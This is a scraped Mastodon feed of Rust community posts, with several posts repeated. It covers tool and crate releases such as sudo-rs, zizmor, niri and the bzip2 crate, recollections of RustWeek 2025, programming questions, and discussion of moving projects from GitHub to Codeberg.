Debajo del cangrejo se muestran uos puños levantados, haciendo ver como una especie de saludo al cangrejo que está en la parte superior y hasta abajo se muestra el texto "Rewrite it in Rust".
Fuera del telar se muestra el libro "El lenguaje de programación Rust" en su edición 2018.
ALT text

Fotografía de un tapete artesanal hecho con telar de pedal. En el telar se puede apreciar una ilustración de un cangrejo sosteniendo con una tenaza una bandera roja con un cangrejo dentro y con la otra en la cabeza como haciendo un saludo militar. Debajo del cangrejo se muestran uos puños levantados, haciendo ver como una especie de saludo al cangrejo que está en la parte superior y hasta abajo se muestra el texto "Rewrite it in Rust". Fuera del telar se muestra el libro "El lenguaje de programación Rust" en su edición 2018.

@chrischinchilla@mastodon.social
@chrischinchilla@mastodon.social
@rustaceans@mastodon.social
@rustaceans@mastodon.social
@Jose_A_Alonso@mathstodon.xyz
@nik@toot.teckids.org

So the new are now developed on a proprietary and exclusive platform. And I don't get it.

Rewrite it in , ok. Emancipate from and , ok. I get it.

But why on Earth put it in a walled garden, drag more users and contributors into a walled garden, and expand dependencies on Big Tech even for the base of systems? Why can't we have people who are both technically skilled *and* conceive basic freedoms and digital independence?

@musicmatze@social.linux.pizza

Someone interested in contributing to a reader in ?

I am currently writing a frontend, but I also plan to implement a frontend.

And I am making pretty good progress right now. Maybe I get to a point where one can actually look at email content by sunday afternoon. 😆

@Jose_A_Alonso@mathstodon.xyz
@Schneems@ruby.social

I’ve got a optimization question. When a function takes an Into<T> as the only argument would it be possible for the compiler to only produce one function that takes T and move the Into logic outside of the function?

(Rather than making N different functions for N different types that impl Into<T>)

Or same thing with AsRef<&str>.

@trifectatech@fosstodon.org

A new release of sudo-rs is out! Highlights:
- Increased backwards compatibility with older Linux kernels.
- Programs executed can be prevented from running other programs (NOEXEC)
- Other usability improvements suggested and contributed by our users!

With thanks for the support by @nlnet @ubuntu @jnsgruk @NGIZero

github.com/trifectatechfoundat

A new release of sudo-rs, version 0.2.7
ALT text

A new release of sudo-rs, version 0.2.7

@trifectatech@fosstodon.org

A new release of sudo-rs is out! Highlights:
- Increased backwards compatibility with older Linux kernels.
- Programs executed can be prevented from running other programs (NOEXEC)
- Other usability improvements suggested and contributed by our users!

With thanks for the support by @nlnet @ubuntu @jnsgruk @NGIZero

github.com/trifectatechfoundat

A new release of sudo-rs, version 0.2.7
ALT text

A new release of sudo-rs, version 0.2.7

@momo@woof.tech

mreeow! Hi! My name is Momo! I'm a transfemme, and she/they is my preferred pronouns.

I code as a hobby in and . I also use as my main daily driver since last year. :blobfoxcomputer: :nkoLove:

I enjoy creating casual game mods in my free time, including Stardew Valley, , and various other games. :apartyblobcat:

I also love playing Cataclysm: Bright Nights () and Valley. Sometimes, , and too, because why not? I like the look and feel of these games. :blobcat3c:

During the weekends, I try to finish reading a fantasy book or two, if I'm feeling reaaaaally cozy :blobcattea: :blobcatmorningtea:

I will be posting about techy stuff that I encounter (mainly and ), share my gaming experiences, and rant about random things, ranging from politics to personal life.

And I like to sip a cup of coffee while watching camping videos, too, for some reason. :blabfox:

Feel free to follow me if you want to hear more of my blabbing! :blobcat_mlem: :blobcat_nwn:

PS: I will put distressing or NSFW posts behind CW. :blobcatpeek:

@CarePackage17@mastodon.gamedev.place
@paco@infosec.exchange

I am slowly oxidizing my unix CLI. A lot of people have made rust based versions of common unix utilities and some of them are REALLY good.

Like fd-find for doing essentially find . -name blah. And rg (ripgrep) which does grep -R but it's aware of git, files like pyc or .bak files, and it excludes them by default.

Now I have sd which is hopefully replacing the last thing I used perl for. I write perl -pi -e s/x/y/g a lot. Just doing a quick string replace inside a file. So sd can start doing that.

I'm also trying to get used to zellij instead of tmux and starship for modern prompt decorations like the kids do.

These kids, my friends, are welcome on my lawn.

rustutils.com

Rust Utilities

@yossarian@infosec.exchange

zizmor v1.10.0 is released!

this is a *huge* new release in terms of features, bugfixes, and enhancements. just to highlight a few:

* zizmor's new experimental fix mode is now available! users can use `--fix=[MODE]` to control it; see the docs for more: docs.zizmor.sh/usage/#auto-fix

* the new anonymous-definition audit flags unnamed workflows and jobs for the pedantic persona: docs.zizmor.sh/audits/#anonymo

* zizmor's location/fixture core has been rewritten to support "subfeatures," meaning that many audits now produce much nicer/more precise finding renders that are easier to read

read the full release notes here: docs.zizmor.sh/release-notes/#

docs.zizmor.sh

Release Notes - zizmor

Abbreviated change notes about each zizmor release.

@yossarian@infosec.exchange

zizmor v1.10.0 is released!

this is a *huge* new release in terms of features, bugfixes, and enhancements. just to highlight a few:

* zizmor's new experimental fix mode is now available! users can use `--fix=[MODE]` to control it; see the docs for more: docs.zizmor.sh/usage/#auto-fix

* the new anonymous-definition audit flags unnamed workflows and jobs for the pedantic persona: docs.zizmor.sh/audits/#anonymo

* zizmor's location/fixture core has been rewritten to support "subfeatures," meaning that many audits now produce much nicer/more precise finding renders that are easier to read

read the full release notes here: docs.zizmor.sh/release-notes/#

docs.zizmor.sh

Release Notes - zizmor

Abbreviated change notes about each zizmor release.

@grafcube@sakurajima.social

In case anyone was wondering, yes my project Wordforge is effectively abandoned. I graduated and got a job last year and haven't had the time to work on it. It's a shame really since I really wanted to see something like this on the fediverse, but such is life.

If anyone wants to take over, feel free.

https://codeberg.org/grafcube/wordforge

codeberg.org

wordforge

Federated creative writing server.

@grafcube@sakurajima.social

In case anyone was wondering, yes my project Wordforge is effectively abandoned. I graduated and got a job last year and haven't had the time to work on it. It's a shame really since I really wanted to see something like this on the fediverse, but such is life.

If anyone wants to take over, feel free.

https://codeberg.org/grafcube/wordforge

codeberg.org

wordforge

Federated creative writing server.

@ppom@mamot.fr

's v2.1.0 is published!
News:
- big performance improvements on regex matching 🚀
- new 'trigger' command to manually ban IPs 👋 (or whatever you're doing with reaction!)
- 'oneshot' actions option, useful for alerting 🚨

framagit.org/ppom/reaction/-/r

reaction is a software which aims to replace on UNIX servers, while being faster, more flexible, an nicer to configure.

framagit.org

v2.1.0 · ppom / reaction · GitLab

Changes New Features One shot actions

@ppom@mamot.fr

's v2.1.0 is published!
News:
- big performance improvements on regex matching 🚀
- new 'trigger' command to manually ban IPs 👋 (or whatever you're doing with reaction!)
- 'oneshot' actions option, useful for alerting 🚨

framagit.org/ppom/reaction/-/r

reaction is a software which aims to replace on UNIX servers, while being faster, more flexible, an nicer to configure.

framagit.org

v2.1.0 · ppom / reaction · GitLab

Changes New Features One shot actions

@alice_i_cecile@mastodon.gamedev.place · Reply to Alice I. Cecile

2. github.com/bevyengine/bevy/pul

Improved example descriptions for our fog example :) Straightforward and clear; I really love this work.

Module docs in examples are a really nice patern; you can give a lot of helpful context and motivation. With a review from Charlotte, it's time to merge!

github.com

Explanation for the 'classic' fog example by fallible-algebra · Pull Request #19196 · bevyengine/bevy

This is a bit of a test case in writing the explanation for an example whose subject (DistanceFog as a component on cameras) is the focus, but isn&#39;t that complicated either. Not certain if this...

@alice_i_cecile@mastodon.gamedev.place

Alright, with the help of a little bit of Earl Grey, I'm feeling ready for my weekly . A little sleep deprivation won't stop me from doing a final pass on the community approved PRs for Bevy!

Follow along, as we review the 11 PRs in our backlog :)

@j_g00da@fosstodon.org

🦀🧀🐀
Just a quick reminder - there’s a very cheesy challenge happening over at Ratatui!
Whether you’re building something wild with Ratatui or want to cook up something new and unexpected, I highly encourage you to submit it!
🔗github.com/ratatui/ratatui/dis

#RATINTHEWILD 
Rat in The Wild Challenge 
Push Rust & Ratatui to the limit 
Get crazy | Get cheesy 
Winner prize: cooking apron 
organized by ratatui.rs
ALT text

#RATINTHEWILD Rat in The Wild Challenge Push Rust & Ratatui to the limit Get crazy | Get cheesy Winner prize: cooking apron organized by ratatui.rs

@j_g00da@fosstodon.org

🦀🧀🐀
Just a quick reminder - there’s a very cheesy challenge happening over at Ratatui!
Whether you’re building something wild with Ratatui or want to cook up something new and unexpected, I highly encourage you to submit it!
🔗github.com/ratatui/ratatui/dis

#RATINTHEWILD 
Rat in The Wild Challenge 
Push Rust & Ratatui to the limit 
Get crazy | Get cheesy 
Winner prize: cooking apron 
organized by ratatui.rs
ALT text

#RATINTHEWILD Rat in The Wild Challenge Push Rust & Ratatui to the limit Get crazy | Get cheesy Winner prize: cooking apron organized by ratatui.rs

@jhpratt@mastodon.social
@dentangle@chaos.social

Hello people 🦀

Am I correct in my understanding that to use or manage rust crates I would need a login?

Looking at crates.io and this github issue[1] from 2016 it seems that using Microsoft's GitHub is the only way to login or publish. Is that still the case?

I'm rather reluctant to go back to using GitHub having given up GitHub[2] some years ago.

[1] github.com/rust-lang/crates.io

[2] sfconservancy.org/GiveUpGitHub

sfconservancy.org

Give Up GitHub - Software Freedom Conservancy

The Software Freedom Conservancy provides a non-profit home and services to Free, Libre and Open Source Software (FLOSS) projects.

@delta@chaos.social

We are basically doing what and in particular moxie refused to do or declares impossible: federation.

Both and ecosystems are all about federation.

However, is vertically centralized in that all UIs use the same core which implements all networking, encryption, chat/group/message logic in a single centralized place. The now 40+ mail relay network is driven from centralized code.

At each level replication and federation is built in.

@lutindiscret@mastodon.libre-entreprise.com
@delta@chaos.social

We are basically doing what and in particular moxie refused to do or declares impossible: federation.

Both and ecosystems are all about federation.

However, is vertically centralized in that all UIs use the same core which implements all networking, encryption, chat/group/message logic in a single centralized place. The now 40+ mail relay network is driven from centralized code.

At each level replication and federation is built in.

@hbons@mastodon.social

pondering my professional future and probing if this is a feasible idea…

I would love to contribute to full time. design for . create new games for and . port SparkleShare to and maintain it. create a whole bunch of new GNOME apps.

would you donate a recurring monthly amount to make this happen? 💭

  • Yes, a single digit amount0 (0%)
  • Yes, a double digit amount0 (0%)
  • Maybe0 (0%)
  • Show results0 (0%)
@trifectatech@fosstodon.org

Today we're switching the bzip2 crate from C to 100% rust!
The bzip2 crate is now memory-safe, faster and easier to cross-compile.

trifectatech.org/blog/bzip2-cr

Thanks to: @alex_crichton, @ros , and @nlnet

This project was funded through the e-Commons Fund, a fund established by NLnet Foundation with financial support from the @minbzk .

trifectatech.org

bzip2 crate switches from C to 100% rust - Trifecta Tech Foundation

@trifectatech@fosstodon.org

Today we're switching the bzip2 crate from C to 100% rust!
The bzip2 crate is now memory-safe, faster and easier to cross-compile.

trifectatech.org/blog/bzip2-cr

Thanks to: @alex_crichton, @ros , and @nlnet

This project was funded through the e-Commons Fund, a fund established by NLnet Foundation with financial support from the @minbzk .

trifectatech.org

bzip2 crate switches from C to 100% rust - Trifecta Tech Foundation

@Skye@chaos.social

I wish there was a “ for people who have only been working in script and high level languages before" course because ughhh I could use it.

@Jose_A_Alonso@mathstodon.xyz
@silverpill@mitra.social

APx is finally available on crates.io / docs.rs

https://docs.rs/apx_sdk/latest/apx_sdk/

This is an ActivityPub library used internally in Mitra and in other my projects.

Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).

The license is AGPL-3, but I might consider changing it to a more permissive one.

#apx #activitypub #rust

mitra.social

Mitra - Federated social network

Federated social network

@silverpill@mitra.social

APx is finally available on crates.io / docs.rs

https://docs.rs/apx_sdk/latest/apx_sdk/

This is an ActivityPub library used internally in Mitra and in other my projects.

Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).

The license is AGPL-3, but I might consider changing it to a more permissive one.

#apx #activitypub #rust

mitra.social

Mitra - Federated social network

Federated social network

@silverpill@mitra.social

APx is finally available on crates.io / docs.rs

https://docs.rs/apx_sdk/latest/apx_sdk/

This is an ActivityPub library used internally in Mitra and in other my projects.

Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).

The license is AGPL-3, but I might consider changing it to a more permissive one.

#apx #activitypub #rust

mitra.social

Mitra - Federated social network

Federated social network

@ubik@fedi.turbofish.cc

I wrote some ST7789 screen driver Rust code which just takes bytes from memory and flushes them into the screen. It seems to work but somehow the screen turns completely white less than one second after the memory write operation. This used to work fine, so I was wondering if maybe some other driver was interfering with the SPI, but nope, I disabled everything else and it still does that. I wrote a small test program which uses a different library to speak to the ST, and it works just fine. I am probably doing something wrong somewhere, BUT THEN WHY WAS IT WORKING OK BEFORE? I suspect some weird timing issues. Or maybe my driver code is being optimized by the compiler somehow, and things are not being done in the correct order?

I will probably plug in a logic analyzer tomorrow, but if anyone has any tips on how to debug it...

@nik@toot.teckids.org

I might be overdoing this whole and thing, but… here's the first steps with , a RDF-to-HTML mapper and :

codeberg.org/Taganak/trinja/sr

The idea is: Use *any* resource described as RDF (e.g. from or an action), link a template to it or its rdf:type in your own set of statements, and there you got your visualisation!

Based on , the development kit by @codecraft and me. We are collecting real-world examples at a good rate!

Screenshot of a Turtle document; see linked code in post for text version.
ALT text

Screenshot of a Turtle document; see linked code in post for text version.

A quite basic web page with heading "Ninja Turtles", followed by four cards with names and depictions of the four Ninja Turtles Leonardo, Raphael, Donatello and Michelangelo.
ALT text

A quite basic web page with heading "Ninja Turtles", followed by four cards with names and depictions of the four Ninja Turtles Leonardo, Raphael, Donatello and Michelangelo.

@dasmatus@raphus.social

Hi, I'm Matúš (pronounced as Matuush). I like programming in and . I also like playing Factorio.

This is a continuation of an account @ThatGuyMatus . I started this account because I lost access to the second factor for this account.

Anyway, what I'll be posting here?

- New blog releases (yes, I have a blog over at typekmatus.blogspot.com)

- Project announcements

- And more.

typekmatus.blogspot.com

Matúšov blog

Blog o roznych veciach

@rpgp@mastodon.social
@yossarian@infosec.exchange

zizmor 1.9.0 is released!

this is not a very big release in terms of visible features, but it comes with a handful of bugfixes and a lot of internal changes. in particular, the `template-injection` audit should both be faster overall *and* more correct/sensitive to true findings, thanks to a significant internal refactor.

full release notes here:

docs.zizmor.sh/release-notes/#

docs.zizmor.sh

Release Notes - zizmor

Abbreviated change notes about each zizmor release.

@yossarian@infosec.exchange

zizmor 1.9.0 is released!

this is not a very big release in terms of visible features, but it comes with a handful of bugfixes and a lot of internal changes. in particular, the `template-injection` audit should both be faster overall *and* more correct/sensitive to true findings, thanks to a significant internal refactor.

full release notes here:

docs.zizmor.sh/release-notes/#

docs.zizmor.sh

Release Notes - zizmor

Abbreviated change notes about each zizmor release.

@zkat@toot.cat

so this is happening.

All my repos are moved over. Now I just need to figure out CI, republish to crates.io, and archive the github side (and document a tombstone in their readmes).

I have a bunch of other repos I'll either archive or delete as well.

and will remain github-side for now because they're a bit more dependent on github services, but I would like to at least move orogene over eventually. KDL might be stuck, though, unfortunately, but I might move only kdl-rs.

screenshot of zkat's profile page on codeberg.org showing a number of Rust projects, including miette.
ALT text

screenshot of zkat's profile page on codeberg.org showing a number of Rust projects, including miette.

@rpgp@mastodon.social
@unsafe@m.webtoo.ls

k23 (the Wasm OS) just got a shiny new async executor! But we need your help:
The executor is likely full of concurrency bugs, deadlocks and worse.

So if you want to help out the project an absolute ton head over here and help get kasync tested:
github.com/JonasKruckenberg/k2

github.com

Test `kasync` async executor · Issue #464 · JonasKruckenberg/k23

The kasync executor is the centerpiece of multitasking for k23. It needs to be absolutely rock solid. Unfortunately, the testing situation is quite lackluster at the moment and I have experienced a...

@SwishSwushPow@mastodon.social

Since we are on this journey of figuring out how supply chain reviews could work for bigger projects (at the moment only for us) we noticed that many crates include tests or benchmarks in their published crate. That not only bloats the size of these crates when they are downloaded, but also increases the amount of work needed to review them. Lately rustls-webpki removed over 40k (!) lines of tests, making it much easier to review! That is awesome to see! 🙏

diff.weiznich.de/rustls-webpki

diff.weiznich.de

diff.rs

View what is changed between different versions of crates published on crates.io.

@FediVideo@social.growyourown.services

Andy Balaam does in-depth videos about programming in many different languages, especially Rust. You can follow at:

➡️ @andybalaam@video.infosec.exchange

There are already over 300 videos uploaded, if these haven't federated to your server yet you can browse them all at video.infosec.exchange/a/andyb

You can also follow Balaam's general account at @andybalaam@mastodon.social

video.infosec.exchange

Andy Balaam

Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.

@FediVideo@social.growyourown.services

Andy Balaam does in-depth videos about programming in many different languages, especially Rust. You can follow at:

➡️ @andybalaam@video.infosec.exchange

There are already over 300 videos uploaded, if these haven't federated to your server yet you can browse them all at video.infosec.exchange/a/andyb

You can also follow Balaam's general account at @andybalaam@mastodon.social

video.infosec.exchange

Andy Balaam

Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.

@ani@fosstodon.org

🌀 Introducing **Chakra** - a blazing fast in-browser WebAssembly runtime for builders.

```sh
chakra myfile.wasm
```

– Runs WASM in-browser with logs
– Supports Rust, TinyGo, C, Asc and Python
– One-line introspection & verify commands

Chakra is an open source project and we're building it *with the community*.

🌟 github.com/anistark/chakra
📖 Read more: blog.anirudha.dev/chakra

Give us a shout-out or star the repo on github if you like the idea. 🙌

blog.anirudha.dev

Chakra: A Wasm Runtime

Unleashing lightweight execution for the modular web and beyond

@kittylyst@mastodon.social · Reply to Stefan Baumgartner

@deadparrot @skade I can well believe that the language has features that promote lower defect rates overall.

However, there are many other compounding factors.

E.g. a team reimplementing a system in *any* language they are familiar with almost always has lower defect rates.

Today's Rust teams *are* typically more experienced, which you would hope leads to lower defect rates (you would hope!) - note that this is a point-in-time statement. 1/

@kittylyst@mastodon.social · Reply to Florian Gilcher

@skade @deadparrot We are still not in a place where we have sufficient good data, but my observations are that for projects a) defect rates are lower (perhaps significantly lower) b) overall project failure rates are *not* lower (& may in fact be higher) c) Experienced programmers are more expensive (& in shorter supply) d) There are significant (re)training costs to onboard new programmers - I agree with Florian that things are improving but right now the pipeline is still fairly weak 1/

@deadparrot@mastodon.social

People again mentioned the supposedly high learning curve of .

I think the whole discussion is wrong. Rust is not hard to learn. The compiler constantly supports you.

It's hard to unlearn old habits we acquired over decades from other PLs. That's the issue.

@Jose_A_Alonso@mathstodon.xyz
@zkat@toot.cat

In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:

Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?

I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?

Boosts and ideas welcome!

If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: discord.gg/fcSeuv56qp and matrix.to/#/%23nohub:matrix.org

matrix.to

You're invited to talk on Matrix

You're invited to talk on Matrix

@zkat@toot.cat

In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:

Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?

I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?

Boosts and ideas welcome!

If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: discord.gg/fcSeuv56qp and matrix.to/#/%23nohub:matrix.org

matrix.to

You're invited to talk on Matrix

You're invited to talk on Matrix

@zkat@toot.cat

In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:

Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?

I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?

Boosts and ideas welcome!

If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: discord.gg/fcSeuv56qp and matrix.to/#/%23nohub:matrix.org

matrix.to

You're invited to talk on Matrix

You're invited to talk on Matrix

@forest_watch_impress@rss-mstdn.studiofreesia.com
@forest_watch_impress@rss-mstdn.studiofreesia.com
@zkat@toot.cat

In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:

Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?

I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?

Boosts and ideas welcome!

If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: discord.gg/fcSeuv56qp and matrix.to/#/%23nohub:matrix.org

matrix.to

You're invited to talk on Matrix

You're invited to talk on Matrix

@ciura_victor@hachyderm.io

Returning home after a six days at . The week began with the conference, which was super fun & engaging, but the best part for me were the 3 days of All-Hands. The event gathered Everyone™️ from RustProject to discuss current burning issues & vision for the future.
@rustnl

@ciura_victor@hachyderm.io

Returning home after a six days at . The week began with the conference, which was super fun & engaging, but the best part for me were the 3 days of All-Hands. The event gathered Everyone™️ from RustProject to discuss current burning issues & vision for the future.
@rustnl

A week in Utrecht is over and I'm quite happy. My first real vacation after more than ... well...to be honest, I'm not sure when did I have at least a full week vacation, just me and my lovely wife. Probably almost two years ago?

During the week, I had an actual skin care routine, I've exercised in the mornings, I've eaten in regular intervals, I've been on top of Utrecht Dom Tower, I've tasted best fish and chips in Utrecht, I've been to a small drag show and much more.

And, we've attended the biggest (so far) Rust conference, full of amazing people. It was very well organized, the venue (a big cinema complex) was a good choice, we could even go to see a movie directly after the last talk (Sinners, go see it, it's a fun movie), a variety of possible networking spaces, enough space for vendor stands, plenty of side activities (small guided Utrecht tour was a great choice).

Will definitely come next year.

#rust #rustweek #rustweek2025 #netherlands #utrecht

@erikjee@fosstodon.org

On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!

Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️

RustWeek flags
ALT text

RustWeek flags

RustWeek closing with all speakers on stage
ALT text

RustWeek closing with all speakers on stage

10 years of Rust Celebration - by rust-lang.org
ALT text

10 years of Rust Celebration - by rust-lang.org

RustWeek opening
ALT text

RustWeek opening

A week in Utrecht is over and I'm quite happy. My first real vacation after more than ... well...to be honest, I'm not sure when did I have at least a full week vacation, just me and my lovely wife. Probably almost two years ago?

During the week, I had an actual skin care routine, I've exercised in the mornings, I've eaten in regular intervals, I've been on top of Utrecht Dom Tower, I've tasted best fish and chips in Utrecht, I've been to a small drag show and much more.

And, we've attended the biggest (so far) Rust conference, full of amazing people. It was very well organized, the venue (a big cinema complex) was a good choice, we could even go to see a movie directly after the last talk (Sinners, go see it, it's a fun movie), a variety of possible networking spaces, enough space for vendor stands, plenty of side activities (small guided Utrecht tour was a great choice).

Will definitely come next year.

#rust #rustweek #rustweek2025 #netherlands #utrecht

@erikjee@fosstodon.org

On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!

Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️

RustWeek flags
ALT text

RustWeek flags

RustWeek closing with all speakers on stage
ALT text

RustWeek closing with all speakers on stage

10 years of Rust Celebration - by rust-lang.org
ALT text

10 years of Rust Celebration - by rust-lang.org

RustWeek opening
ALT text

RustWeek opening

@erikjee@fosstodon.org

On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!

Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️

RustWeek flags
ALT text

RustWeek flags

RustWeek closing with all speakers on stage
ALT text

RustWeek closing with all speakers on stage

10 years of Rust Celebration - by rust-lang.org
ALT text

10 years of Rust Celebration - by rust-lang.org

RustWeek opening
ALT text

RustWeek opening

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

After long 3 months of work, I'm glad to release niri v25.05 with the Overview, screenshot UI tablet and touch support, dynamic screencast target and windowed fullscreen, IPC pick-window and pick-color, window urgency, and lots of other things! :ablobcatbongo: :apartyblobcat:

Release notes prepared for your reading pleasure as always: github.com/YaLTeR/niri/release

Entering the Overview in niri, scrolling around workspaces and windows, dragging windows around.
ALT text

Entering the Overview in niri, scrolling around workspaces and windows, dragging windows around.

Selecting and confirming a screenshot in niri on a touchscreen.
ALT text

Selecting and confirming a screenshot in niri on a touchscreen.

@ekuber@hachyderm.io

Thanks to Kobzol for making this, which I've been meaning to do for a few years and keep forgetting to actually do: look at the evolution of the compiler errors over time

kobzol.github.io/rust/rustc/20

I also agree 100% with the take aways.

I'm looking forward to seeing how these get even better.

kobzol.github.io

Evolution of Rust compiler errors

Blog about programming stuff.

@ekuber@hachyderm.io

Thanks to Kobzol for making this, which I've been meaning to do for a few years and keep forgetting to actually do: look at the evolution of the compiler errors over time

kobzol.github.io/rust/rustc/20

I also agree 100% with the take aways.

I'm looking forward to seeing how these get even better.

kobzol.github.io

Evolution of Rust compiler errors

Blog about programming stuff.

@lobsters@mastodon.social
@lobsters@mastodon.social
@lobsters@mastodon.social
@ekuber@hachyderm.io

My experience started literally 10 years ago, when 1.0 came out. I'd been hearing about it for a while, it seemed interesting, and it sounded like a nice round number to jump in. The documentation was excellent, but applying those concepts in practice was harder than I anticipated, so I bounced out. Over the holidays that year I had a week off and decided to give it another chance. In the meantime, the tooling and documentatio had gotten better, and this time it stuck.
Looking for projects to contribute to to exercise the concepts I was learning, I started sending PRs to racer (an early auto complete library). While doing so, I remember getting a baffling compiler error message that took me half an hour to figure out. I didn't feel smart for eventually getting it, nor stupid for not getting it earlier. I felt annoyed because in my mental model the compiler had the information that I needed to understand what had happened and it just wasn't telling me. So I looked at the rust codebase. Which was written in Rust. And I changed that error. Very quicky realized that there was a lot of low hanging fruit to do useful work and that it was a great way of learning more of the language. There are several language features that I learned first from reading first how they were implemented! I was hooked, and have been involved ever since.
Today, 10 years after I first tried Rust, 9 years after I started contributing and 8 years since I became a member of the Compiler Team, I'm proud of the tiny part I've played in getting Rust where it is today, but I am elated by the tons of work that so many others have done, both big and small. Rust is what it is not due to any single individual, but because of every single person that has written a PR, filed a ticket, talked about it, and used it.
So, happy birthday Ferris, and thank you to everyone who got us here. Raise my glass to the next 10 years!

A drawing of a postcard addressed to Ferris, labeled 10 years of Rust, Rust Week 2025 with a drawing of Ferris the crab eating a pink cake with candles shaped like the number ten surrounded by balloons. Ferris' pincers and mouth are covered in frosting.
ALT text

A drawing of a postcard addressed to Ferris, labeled 10 years of Rust, Rust Week 2025 with a drawing of Ferris the crab eating a pink cake with candles shaped like the number ten surrounded by balloons. Ferris' pincers and mouth are covered in frosting.

@mre@mastodon.social
@ekuber@hachyderm.io

My experience started literally 10 years ago, when 1.0 came out. I'd been hearing about it for a while, it seemed interesting, and it sounded like a nice round number to jump in. The documentation was excellent, but applying those concepts in practice was harder than I anticipated, so I bounced out. Over the holidays that year I had a week off and decided to give it another chance. In the meantime, the tooling and documentatio had gotten better, and this time it stuck.
Looking for projects to contribute to to exercise the concepts I was learning, I started sending PRs to racer (an early auto complete library). While doing so, I remember getting a baffling compiler error message that took me half an hour to figure out. I didn't feel smart for eventually getting it, nor stupid for not getting it earlier. I felt annoyed because in my mental model the compiler had the information that I needed to understand what had happened and it just wasn't telling me. So I looked at the rust codebase. Which was written in Rust. And I changed that error. Very quicky realized that there was a lot of low hanging fruit to do useful work and that it was a great way of learning more of the language. There are several language features that I learned first from reading first how they were implemented! I was hooked, and have been involved ever since.
Today, 10 years after I first tried Rust, 9 years after I started contributing and 8 years since I became a member of the Compiler Team, I'm proud of the tiny part I've played in getting Rust where it is today, but I am elated by the tons of work that so many others have done, both big and small. Rust is what it is not due to any single individual, but because of every single person that has written a PR, filed a ticket, talked about it, and used it.
So, happy birthday Ferris, and thank you to everyone who got us here. Raise my glass to the next 10 years!

A drawing of a postcard addressed to Ferris, labeled 10 years of Rust, Rust Week 2025 with a drawing of Ferris the crab eating a pink cake with candles shaped like the number ten surrounded by balloons. Ferris' pincers and mouth are covered in frosting.
ALT text

A drawing of a postcard addressed to Ferris, labeled 10 years of Rust, Rust Week 2025 with a drawing of Ferris the crab eating a pink cake with candles shaped like the number ten surrounded by balloons. Ferris' pincers and mouth are covered in frosting.

@jonn@social.doma.dev

How messy is with ?

I'm trying to make a system where worker ingests data of HTTP requests via , and passes them into , which uses further ingestion recipe to export the data into

I have tried to make a complete terraform declaration for this, but got into permission issues, then I have tried to make a system that generates all the artefacts like service accounts and docker image and then refers to those from terraform builds, but I almost don't see a value of doing it like that.

Does anyone have an example of ? I am new to this and I feel really slow.

@weiznich@social.weiznich.de

I spend my way to RustWeek with playing around on @fasterthanlime facet library and checking out if diesel might use it at some point. I started with setting up something to load values from the database. That seems to be possible, even with retaining most of the compile time checks performed by diesel. The given implementation at least would allow us to provide a (stripped down) replacement of derive(Queryable).

Rust source code showing a minimal diesel example in combination with the `Facet` derive
ALT text

Rust source code showing a minimal diesel example in combination with the `Facet` derive

An error message from rustc saying that const-eval panicked with the message: Expect the same number of fields in your rust struct as in your query`
ALT text

An error message from rustc saying that const-eval panicked with the message: Expect the same number of fields in your rust struct as in your query`

A rustc error message saying that const eval panicked with the error message: "Mismatching types expected"
ALT text

A rustc error message saying that const eval panicked with the error message: "Mismatching types expected"

@NfNitLoop@mastodon.social

Last weekend I published a fun little project that allows you to use the library to make a (Terminal UI) in /#TypeScript, via .

github.com/nfnitloop/ratatui-w

That repo contains an example app, which you can easily run with , which keeps it entirely sandboxed from your system. Here's a quick screen recording:
asciinema.org/a/8Ljb2Tkp9SyujJ

Let me know if you build anything fun with it. 😊

asciinema.org

untitled

Recorded by codyc

@NfNitLoop@mastodon.social

Last weekend I published a fun little project that allows you to use the library to make a (Terminal UI) in /#TypeScript, via .

